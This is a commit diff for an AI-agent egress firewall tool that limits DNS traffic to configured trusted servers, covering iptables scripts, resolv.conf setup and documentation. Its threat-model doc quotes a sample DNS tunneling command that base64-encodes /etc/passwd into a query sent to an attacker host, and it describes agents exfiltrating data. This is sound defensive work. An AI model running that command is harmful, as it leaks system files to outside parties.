feat(cli): restrict dns traffic to trusted servers only (#68)

* feat(security): restrict dns traffic to trusted servers only

Addresses DNS-based data exfiltration vulnerability where DNS traffic
  (port 53) was allowed to ANY destination, enabling attackers to encode
  sensitive data in DNS queries to malicious DNS servers.

Signed-off-by: Jiaxiao (mossaka) Zhou <[email protected]>

* fix: address ipv6 validation and filtering review comments (#69)

* Initial plan

* fix: address pr review comments for ipv6 validation and filtering

Co-authored-by: Mossaka <[email protected]>

* fix: improve ipv6 chain comments for clarity

Co-authored-by: Mossaka <[email protected]>

* fix: add icmpv6 rules and ipv6 validation tests

Co-authored-by: Mossaka <[email protected]>

---------

Co-authored-by: copilot-swe-agent[bot] <[email protected]>
Co-authored-by: Mossaka <[email protected]>

* fix: add ip6tables availability checks for robustness (#77)

* Initial plan

* fix: add ip6tables availability checks for robustness

Co-authored-by: Mossaka <[email protected]>

* fix: address code review feedback for ip6tables checks

Co-authored-by: Mossaka <[email protected]>

---------

Co-authored-by: copilot-swe-agent[bot] <[email protected]>
Co-authored-by: Mossaka <[email protected]>

---------

Signed-off-by: Jiaxiao (mossaka) Zhou <[email protected]>
Co-authored-by: Copilot <[email protected]>
Co-authored-by: Mossaka <[email protected]>

Author: Mossaka

CLAUDE.md

@@ -223,6 +223,27 @@ Containers stopped, temporary files cleaned up
   - `.github.com` → matches all subdomains
 - Squid denies any domain not in the allowlist
 
+## DNS Configuration
+
+DNS traffic is restricted to trusted DNS servers only to prevent DNS-based data exfiltration:
+
+- **CLI Option**: `--dns-servers <servers>` (comma-separated list of IP addresses)
+- **Default**: Google DNS (`8.8.8.8,8.8.4.4`)
+- **IPv6 Support**: Both IPv4 and IPv6 DNS servers are supported
+- **Docker DNS**: `127.0.0.11` is always allowed for container name resolution
+
+**Implementation**:
+- Host-level iptables (`src/host-iptables.ts`): DNS traffic to non-whitelisted servers is blocked
+- Container NAT rules (`containers/agent/setup-iptables.sh`): Reads from `AWF_DNS_SERVERS` env var
+- Container DNS config (`containers/agent/entrypoint.sh`): Configures `/etc/resolv.conf`
+- Docker Compose (`src/docker-manager.ts`): Sets container `dns:` config and `AWF_DNS_SERVERS` env var
+
+**Example**:
+```bash
+# Use Cloudflare DNS instead of Google DNS
+sudo awf --allow-domains github.com --dns-servers 1.1.1.1,1.0.0.1 -- curl https://api.github.com
+```
+
 ## Exit Code Handling
 
 The wrapper propagates the exit code from the agent container:

README.md

@@ -116,8 +116,21 @@ sudo awf \
 ### What This Protects Against
 - Unauthorized egress to non-whitelisted domains
 - Data exfiltration via HTTP/HTTPS
+- DNS-based data exfiltration to unauthorized DNS servers
 - MCP servers accessing unexpected endpoints
 
+### DNS Server Restriction
+
+DNS traffic is restricted to trusted servers only (default: Google DNS 8.8.8.8, 8.8.4.4). This prevents DNS-based data exfiltration attacks where an attacker encodes data in DNS queries to a malicious DNS server.
+
+```bash
+# Use custom DNS servers
+sudo awf \
+  --allow-domains github.com \
+  --dns-servers 1.1.1.1,1.0.0.1 \
+  -- curl https://api.github.com
+```
+
 ## Development & Testing
 
 ### Running Tests

containers/agent/entrypoint.sh

@@ -6,24 +6,35 @@ echo "[entrypoint] =================================="
 
 # Fix DNS configuration - ensure external DNS works alongside Docker's embedded DNS
 # Docker's embedded DNS (127.0.0.11) is used for service name resolution (e.g., squid-proxy)
-# External DNS servers (8.8.8.8, 8.8.4.4) are used for internet domain resolution
+# Trusted external DNS servers are used for internet domain resolution
 echo "[entrypoint] Configuring DNS..."
 if [ -f /etc/resolv.conf ]; then
   # Backup original resolv.conf
   cp /etc/resolv.conf /etc/resolv.conf.orig
 
-  # Create new resolv.conf with both Docker embedded DNS and external DNS
-  # Docker's embedded DNS comes first for service discovery
-  cat > /etc/resolv.conf << EOF
-# Generated by awf entrypoint
-# Docker embedded DNS for service name resolution (squid-proxy, etc.)
-nameserver 127.0.0.11
-# External DNS servers for internet domain resolution
-nameserver 8.8.8.8
-nameserver 8.8.4.4
-options ndots:0
-EOF
-  echo "[entrypoint] DNS configured with Docker embedded DNS (127.0.0.11) and external DNS (8.8.8.8, 8.8.4.4)"
+  # Get DNS servers from environment (default to Google DNS)
+  DNS_SERVERS="${AWF_DNS_SERVERS:-8.8.8.8,8.8.4.4}"
+
+  # Create new resolv.conf with Docker embedded DNS first, then trusted external DNS servers
+  {
+    echo "# Generated by awf entrypoint"
+    echo "# Docker embedded DNS for service name resolution (squid-proxy, etc.)"
+    echo "nameserver 127.0.0.11"
+    echo "# Trusted external DNS servers for internet domain resolution"
+
+    # Add each trusted DNS server
+    IFS=',' read -ra DNS_ARRAY <<< "$DNS_SERVERS"
+    for dns_server in "${DNS_ARRAY[@]}"; do
+      dns_server=$(echo "$dns_server" | tr -d ' ')
+      if [ -n "$dns_server" ]; then
+        echo "nameserver $dns_server"
+      fi
+    done
+
+    echo "options ndots:0"
+  } > /etc/resolv.conf
+
+  echo "[entrypoint] DNS configured with Docker embedded DNS (127.0.0.11) and trusted servers: $DNS_SERVERS"
 fi
 
 # Setup Docker socket permissions if Docker socket is mounted

containers/agent/setup-iptables.sh

@@ -4,6 +4,31 @@ set -e
 echo "[iptables] Setting up NAT redirection to Squid proxy..."
 echo "[iptables] NOTE: Host-level DOCKER-USER chain handles egress filtering for all containers on this network"
 
+# Function to check if an IP address is IPv6
+is_ipv6() {
+  local ip="$1"
+  # Check if it contains a colon (IPv6 addresses always contain colons)
+  [[ "$ip" == *:* ]]
+}
+
+# Function to check if ip6tables is available and functional
+has_ip6tables() {
+  if command -v ip6tables &>/dev/null && ip6tables -L -n &>/dev/null; then
+    return 0
+  else
+    return 1
+  fi
+}
+
+# Check ip6tables availability once at the start
+IP6TABLES_AVAILABLE=false
+if has_ip6tables; then
+  IP6TABLES_AVAILABLE=true
+  echo "[iptables] ip6tables is available"
+else
+  echo "[iptables] WARNING: ip6tables is not available, IPv6 rules will be skipped"
+fi
+
 # Get Squid proxy configuration from environment
 SQUID_HOST="${SQUID_PROXY_HOST:-squid-proxy}"
 SQUID_PORT="${SQUID_PROXY_PORT:-3128}"
@@ -18,36 +43,97 @@ if [ -z "$SQUID_IP" ]; then
 fi
 echo "[iptables] Squid IP resolved to: $SQUID_IP"
 
-# Clear existing NAT rules
+# Clear existing NAT rules (both IPv4 and IPv6)
 iptables -t nat -F OUTPUT 2>/dev/null || true
+if [ "$IP6TABLES_AVAILABLE" = true ]; then
+  ip6tables -t nat -F OUTPUT 2>/dev/null || true
+fi
 
 # Allow localhost traffic (for stdio MCP servers)
 echo "[iptables] Allow localhost traffic..."
 iptables -t nat -A OUTPUT -o lo -j RETURN
 iptables -t nat -A OUTPUT -d 127.0.0.0/8 -j RETURN
+if [ "$IP6TABLES_AVAILABLE" = true ]; then
+  ip6tables -t nat -A OUTPUT -o lo -j RETURN
+  ip6tables -t nat -A OUTPUT -d ::1/128 -j RETURN
+fi
+
+# Get DNS servers from environment (default to Google DNS)
+DNS_SERVERS="${AWF_DNS_SERVERS:-8.8.8.8,8.8.4.4}"
+echo "[iptables] Configuring DNS rules for trusted servers: $DNS_SERVERS"
+
+# Separate IPv4 and IPv6 DNS servers
+IPV4_DNS_SERVERS=()
+IPV6_DNS_SERVERS=()
+IFS=',' read -ra DNS_ARRAY <<< "$DNS_SERVERS"
+for dns_server in "${DNS_ARRAY[@]}"; do
+  dns_server=$(echo "$dns_server" | tr -d ' ')
+  if [ -n "$dns_server" ]; then
+    if is_ipv6 "$dns_server"; then
+      IPV6_DNS_SERVERS+=("$dns_server")
+    else
+      IPV4_DNS_SERVERS+=("$dns_server")
+    fi
+  fi
+done
 
-# Allow DNS queries to any DNS server (including Docker's 127.0.0.11 and configured DNS servers)
-echo "[iptables] Allow DNS queries..."
-iptables -t nat -A OUTPUT -p udp --dport 53 -j RETURN
-iptables -t nat -A OUTPUT -p tcp --dport 53 -j RETURN
+echo "[iptables]   IPv4 DNS servers: ${IPV4_DNS_SERVERS[*]:-none}"
+echo "[iptables]   IPv6 DNS servers: ${IPV6_DNS_SERVERS[*]:-none}"
 
-# Explicitly allow DNS servers configured in the container (8.8.8.8, 8.8.4.4)
-echo "[iptables] Allow traffic to DNS servers..."
-iptables -t nat -A OUTPUT -d 8.8.8.8 -j RETURN
-iptables -t nat -A OUTPUT -d 8.8.4.4 -j RETURN
+# Allow DNS queries ONLY to trusted IPv4 DNS servers (prevents DNS exfiltration)
+for dns_server in "${IPV4_DNS_SERVERS[@]}"; do
+  echo "[iptables] Allow DNS to trusted IPv4 server: $dns_server"
+  iptables -t nat -A OUTPUT -p udp -d "$dns_server" --dport 53 -j RETURN
+  iptables -t nat -A OUTPUT -p tcp -d "$dns_server" --dport 53 -j RETURN
+done
+
+# Allow DNS queries ONLY to trusted IPv6 DNS servers
+if [ "$IP6TABLES_AVAILABLE" = true ]; then
+  for dns_server in "${IPV6_DNS_SERVERS[@]}"; do
+    echo "[iptables] Allow DNS to trusted IPv6 server: $dns_server"
+    ip6tables -t nat -A OUTPUT -p udp -d "$dns_server" --dport 53 -j RETURN
+    ip6tables -t nat -A OUTPUT -p tcp -d "$dns_server" --dport 53 -j RETURN
+  done
+elif [ ${#IPV6_DNS_SERVERS[@]} -gt 0 ]; then
+  echo "[iptables] WARNING: IPv6 DNS servers configured but ip6tables not available"
+fi
+
+# Allow DNS to Docker's embedded DNS server (127.0.0.11) for container name resolution
+echo "[iptables] Allow DNS to Docker embedded DNS (127.0.0.11)..."
+iptables -t nat -A OUTPUT -p udp -d 127.0.0.11 --dport 53 -j RETURN
+iptables -t nat -A OUTPUT -p tcp -d 127.0.0.11 --dport 53 -j RETURN
+
+# Allow return traffic to trusted IPv4 DNS servers
+echo "[iptables] Allow traffic to trusted DNS servers..."
+for dns_server in "${IPV4_DNS_SERVERS[@]}"; do
+  iptables -t nat -A OUTPUT -d "$dns_server" -j RETURN
+done
+
+# Allow return traffic to trusted IPv6 DNS servers
+if [ "$IP6TABLES_AVAILABLE" = true ]; then
+  for dns_server in "${IPV6_DNS_SERVERS[@]}"; do
+    ip6tables -t nat -A OUTPUT -d "$dns_server" -j RETURN
+  done
+fi
 
 # Allow traffic to Squid proxy itself
 echo "[iptables] Allow traffic to Squid proxy (${SQUID_IP}:${SQUID_PORT})..."
 iptables -t nat -A OUTPUT -d "$SQUID_IP" -j RETURN
 
-# Redirect HTTP traffic to Squid
+# Redirect HTTP traffic to Squid (IPv4 only - Squid runs on IPv4)
 echo "[iptables] Redirect HTTP (port 80) to Squid..."
 iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination "${SQUID_IP}:${SQUID_PORT}"
 
-# Redirect HTTPS traffic to Squid
+# Redirect HTTPS traffic to Squid (IPv4 only - Squid runs on IPv4)
 echo "[iptables] Redirect HTTPS (port 443) to Squid..."
 iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination "${SQUID_IP}:${SQUID_PORT}"
 
 echo "[iptables] NAT rules applied successfully"
-echo "[iptables] Current NAT OUTPUT rules:"
+echo "[iptables] Current IPv4 NAT OUTPUT rules:"
 iptables -t nat -L OUTPUT -n -v
+if [ "$IP6TABLES_AVAILABLE" = true ]; then
+  echo "[iptables] Current IPv6 NAT OUTPUT rules:"
+  ip6tables -t nat -L OUTPUT -n -v
+else
+  echo "[iptables] (ip6tables NAT not available)"
+fi

docs-site/src/content/docs/reference/cli-reference.md

@@ -32,6 +32,7 @@ awf [options] -- <command>
 | `--env-all` | flag | `false` | Pass all host environment variables |
 | `-v, --mount <host:container[:mode]>` | string | `[]` | Volume mount (repeatable) |
 | `--container-workdir <dir>` | string | User home | Working directory inside container |
+| `--dns-servers <servers>` | string | `8.8.8.8,8.8.4.4` | Trusted DNS servers (comma-separated) |
 | `-V, --version` | flag | — | Display version |
 | `-h, --help` | flag | — | Display help |
 
@@ -130,6 +131,22 @@ Mount host directories into container. Format: `host_path:container_path[:ro|rw]
 
 Working directory inside the container.
 
+### `--dns-servers <servers>`
+
+Comma-separated list of trusted DNS servers. DNS traffic is **only** allowed to these servers, preventing DNS-based data exfiltration. Both IPv4 and IPv6 addresses are supported.
+
+```bash
+# Use Cloudflare DNS
+--dns-servers 1.1.1.1,1.0.0.1
+
+# Use Google DNS with IPv6
+--dns-servers 8.8.8.8,2001:4860:4860::8888
+```
+
+:::note
+Docker's embedded DNS (127.0.0.11) is always allowed for container name resolution, regardless of this setting.
+:::
+
 ## Exit Codes
 
 | Code | Description |

docs-site/src/content/docs/reference/security-architecture.md

@@ -22,7 +22,7 @@ This firewall solves a specific problem: **egress control for AI agents running
 
 - **Full filesystem access**: Agents read and write files freely. If your threat model requires filesystem isolation, you need additional controls.
 - **Localhost communication**: Required for stdio-based MCP servers running alongside the agent.
-- **DNS resolution**: Agents can resolve any domain (though they can't connect to most).
+- **DNS to trusted servers only**: DNS queries are restricted to configured DNS servers (default: Google DNS). This prevents DNS-based data exfiltration to attacker-controlled DNS servers.
 - **Docker socket access**: The agent can spawn containers—we intercept and constrain them, but the capability exists.
 
 ---
@@ -157,12 +157,13 @@ The agent and its MCP servers see normal Docker behavior; they don't know their
 Even with docker-wrapper, we don't fully trust it—an agent could theoretically find the real Docker binary or exploit a wrapper bug. The DOCKER-USER chain provides a backstop:
 
 ```bash
-# Simplified rules (actual implementation in src/docker-manager.ts)
+# Simplified rules (actual implementation in src/host-iptables.ts)
 iptables -I DOCKER-USER -i awf-bridge -j FW_WRAPPER
-iptables -A FW_WRAPPER -s 172.30.0.10 -j ACCEPT          # Squid: unrestricted
-iptables -A FW_WRAPPER -p udp --dport 53 -j ACCEPT       # DNS allowed
-iptables -A FW_WRAPPER -p tcp -d 172.30.0.10 -j ACCEPT   # Traffic to proxy
-iptables -A FW_WRAPPER -j DROP                            # Everything else blocked
+iptables -A FW_WRAPPER -s 172.30.0.10 -j ACCEPT                    # Squid: unrestricted
+iptables -A FW_WRAPPER -p udp -d 8.8.8.8 --dport 53 -j ACCEPT      # DNS to trusted server
+iptables -A FW_WRAPPER -p udp -d 8.8.4.4 --dport 53 -j ACCEPT      # DNS to trusted server
+iptables -A FW_WRAPPER -p tcp -d 172.30.0.10 -j ACCEPT             # Traffic to proxy
+iptables -A FW_WRAPPER -j DROP                                      # Everything else blocked
 ```
 
 Any container on `awf-net`—whether we created it or the agent spawned it—has its egress filtered. Traffic either goes through Squid or gets dropped.
@@ -227,17 +228,21 @@ Container joins `awf-net`, egress hits DOCKER-USER, routes through Squid, blocke
 
 ### DNS Tunneling
 
-**Attack:** Agent encodes data in DNS queries to `data.attacker.com`:
+**Attack:** Agent encodes data in DNS queries to an attacker-controlled DNS server:
 ```bash
-nslookup $(cat /etc/passwd | base64).attacker.com
+nslookup $(cat /etc/passwd | base64).attacker.com attacker-dns-server.com
 ```
 
-**Mitigation:** We allow DNS (UDP/53) because blocking it breaks everything. DNS tunneling is a known limitation. For high-security environments, consider:
-- Using a DNS proxy that filters by domain
-- Restricting DNS to specific resolvers
-- Monitoring DNS query logs for anomalies
+**Mitigation:** DNS traffic is restricted to trusted DNS servers only (configurable via `--dns-servers`, default: Google DNS 8.8.8.8, 8.8.4.4). Attempts to query arbitrary DNS servers are blocked at the iptables level.
 
-This is outside our current scope but worth noting for threat models that include sophisticated attackers.
+```bash
+# The attacker's query to a rogue DNS server is blocked
+[FW_BLOCKED_UDP] SRC=172.30.0.20 DST=attacker-dns-server.com DPT=53
+```
+
+:::note[Remaining risk]
+DNS tunneling through the *allowed* DNS servers (encoding data in query names to attacker-controlled domains) is still theoretically possible, as the trusted DNS server will recursively resolve any domain. For high-security environments, consider using a DNS filtering service or monitoring DNS query logs for anomalies.
+:::
 
 ---
 

docs/environment.md

@@ -51,6 +51,20 @@ sudo -E awf --allow-domains github.com 'copilot --prompt "..."'
 - Working with untrusted code
 - In production/CI environments
 
+## Internal Environment Variables
+
+The following environment variables are set internally by the firewall and used by container scripts:
+
+| Variable | Description | Example |
+|----------|-------------|---------|
+| `AWF_DNS_SERVERS` | Comma-separated list of trusted DNS servers | `8.8.8.8,8.8.4.4` |
+| `HTTP_PROXY` | Squid proxy URL for HTTP traffic | `http://172.30.0.10:3128` |
+| `HTTPS_PROXY` | Squid proxy URL for HTTPS traffic | `http://172.30.0.10:3128` |
+| `SQUID_PROXY_HOST` | Squid container hostname | `squid-proxy` |
+| `SQUID_PROXY_PORT` | Squid proxy port | `3128` |
+
+**Note:** These are set automatically based on CLI options and should not be overridden manually.
+
 ## Troubleshooting
 
 **Variable not accessible:** Use `sudo -E` or pass explicitly with `--env VAR="$VAR"`

src/cli-workflow.ts

@@ -2,7 +2,7 @@ import { WrapperConfig } from './types';
 
 export interface WorkflowDependencies {
   ensureFirewallNetwork: () => Promise<{ squidIp: string }>;
-  setupHostIptables: (squidIp: string, port: number) => Promise<void>;
+  setupHostIptables: (squidIp: string, port: number, dnsServers: string[]) => Promise<void>;
   writeConfigs: (config: WrapperConfig) => Promise<void>;
   startContainers: (workDir: string, allowedDomains: string[]) => Promise<void>;
   runAgentCommand: (
@@ -41,7 +41,8 @@ export async function runMainWorkflow(
   // Step 0: Setup host-level network and iptables
   logger.info('Setting up host-level firewall network and iptables rules...');
   const networkConfig = await dependencies.ensureFirewallNetwork();
-  await dependencies.setupHostIptables(networkConfig.squidIp, 3128);
+  const dnsServers = config.dnsServers || ['8.8.8.8', '8.8.4.4'];
+  await dependencies.setupHostIptables(networkConfig.squidIp, 3128, dnsServers);
   onHostIptablesSetup?.();
 
   // Step 1: Write configuration files